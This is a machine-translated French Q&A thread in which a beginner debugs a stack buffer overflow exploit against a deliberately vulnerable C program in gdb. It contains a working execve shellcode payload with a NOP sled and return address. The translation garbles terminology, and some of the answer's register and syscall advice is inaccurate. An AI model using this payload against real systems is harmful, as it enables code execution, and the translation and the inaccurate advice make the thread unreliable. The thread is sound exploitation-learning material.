web-dev-qa-db-fra.com

Impossible d'exécuter des coquillages dans l'exemple de débordement de la mémoire tampon de base

J'ai un exemple de base d'un programme vulnérable au débordement tampon ( extrait de cette autre question ).

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

Je vais expliquer mon "flux de pensée":

Ma première approche, étant donné que je connais la longueur de la mémoire tampon, devait remplir entièrement avec "Nops" (477 octets) + shellcode (23 octets) + Nops + adresse de retour, étant l'adresse de retour du début de ma mémoire tampon.

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")

Voici la mémoire actuelle:

0xffffcef8: 0x00    0x00    0x00    0x00    0x90    0x90    0x90    0x90
0xffffcf00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf10: 0x90    0x90    0x90    0x90    0x00    0x90    0x90    0x90
0xffffcf18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xffffd0d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0d8: 0x00    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73
0xffffd0e0: 0x68    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3
0xffffd0e8: 0x50    0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
0xffffd0f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0f8: 0x90    0x90    0x90    0x90    0xfc    0xce    0xff    0xff

1) Les 4 derniers octets sont l'adresse qui sera écrite à EIP, aucun problème avec cela.

2) Pour que mon coquillage fonctionne correctement, il devrait commencer au début d'un mot. Dans 0XFFFFD0D8, il y a un 0x00 non mémorable qui ne se fait pas écraser par le débordement du tampon. Il se produit plusieurs fois dans le tampon et pour ce que j'ai lu est dû à un comportement de boucle dans le Strcpy.

3) Dans cette situation, je suppose que j'ai besoin de trouver un autre espace pour écrire mon coquillage, sans "0x00" le brisant.

Il semble qu'il y ait de la place pour le coquillage juste au début du tampon (0xFFFFFCFC), donc je change le tampon

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")

et je m'assurens que le coquillage est correctement écrit en mémoire:

gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc:  add    al,al
   0xffffcefe:  Push   eax
   0xffffceff:  Push   0x68732f2f
   0xffffcf04:  Push   0x6e69622f
   0xffffcf09:  mov    ebx,esp
   0xffffcf0b:  Push   eax
   0xffffcf0c:  Push   ebx
   0xffffcf0d:  mov    ecx,esp
   0xffffcf0f:  mov    al,0xb
   0xffffcf11:  int    0x80
gdb-peda$

Mais lorsque j'exécute le code, même si les commandes de coquillages sont exécutées, il se bloque dans l'octet "0x00" suivant à 0xFFFFCF14, et aucune coque n'est engendrée.

gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()

gdb-peda$ x/10i 0xffffcf11
   0xffffcf11:  int    0x80
   0xffffcf13:  nop
=> 0xffffcf14:  add    BYTE PTR [eax-0x6f6f6f70],dl
   0xffffcf1a:  nop
   0xffffcf1b:  nop
   0xffffcf1c:  nop
   0xffffcf1d:  nop
   0xffffcf1e:  nop
   0xffffcf1f:  nop
   0xffffcf20:  nop

gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf1c: 0x90    0x90
gdb-peda$

Le code a été compilé à l'aide de:

gCC -M32 -Z Execstack Strcpy_ex.c -fno-Stack-protector -o Strcpy

et, bien sûr, ASLR est désactivé.

Information additionnelle:

# uname -a 
Linux kali 4.9.0-kali4-AMD64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

Je suis un débutant dans l'exploitation, mais je croyais que c'était un exercice simple et que cela me donne des maux de tête ... Quelqu'un peut-il m'aider à comprendre la bonne façon d'exploiter ce débordement de tampon?

exploitbuffer-overflowexploit-development
2
Jausk

J'ai un problème avec votre coquillage:

  • EASA et ECX sont des registres pouvant contenir CRUFT (volatiles-registres) en fonction de adhésion à la convention d'appel (interface binaire d'application spécifique à la plate-forme) , pourrait aussi bien obtenir l'habitude de les xor
  • qu'est-ce qui se trouve dans EBX lorsque votre coquillage fonctionne? Il peut contenir des choses comme son registre non volatile. XOR it aussi
  • Vous mettez 0xB dans EAX, mais vous ne le poussez jamais à la pile avant d'appeler int 0x80 à ( exécutez () ), vous ne faites jamais de syscall valide car il manque tous les arguments!

Une fois que vous réparez ce qui précède

Si vous réparez ces problèmes et que vous l'éprouvez toujours, à partir de votre description, il s'écrase sur un octet nul (qui est ce qui Strcpy (3) s'attend à), il semble donc que cela ressemble à un cas de mauvais caractère!

Je voudrais essayer de tester les mauvais caractères. Peter Van Eeckhoutte a une excellente écriture qui couvre déjà cela, mais si vous êtes comme moi et que vous êtes comme moi et paresseux, remplacez l'octet null (0x00) avec la pause sur l'octet de débogueur (0xcc).

Une fois qu'il rompt, si toutes les instructions précédentes ont été exécutées comme prévu pour votre coquillage, vous pouvez ajouter un autre nop (0x90) ou remplacer l'octet null avec un rebrack.

Si cela provoque un problème, car l'interruption (int 0x80) est un octet unique, vous pouvez également le remplacer et l'octet nul à la fin avec 0xebfe pour une boucle sans fin JMP -2 pour rompre.

0
grepNstepN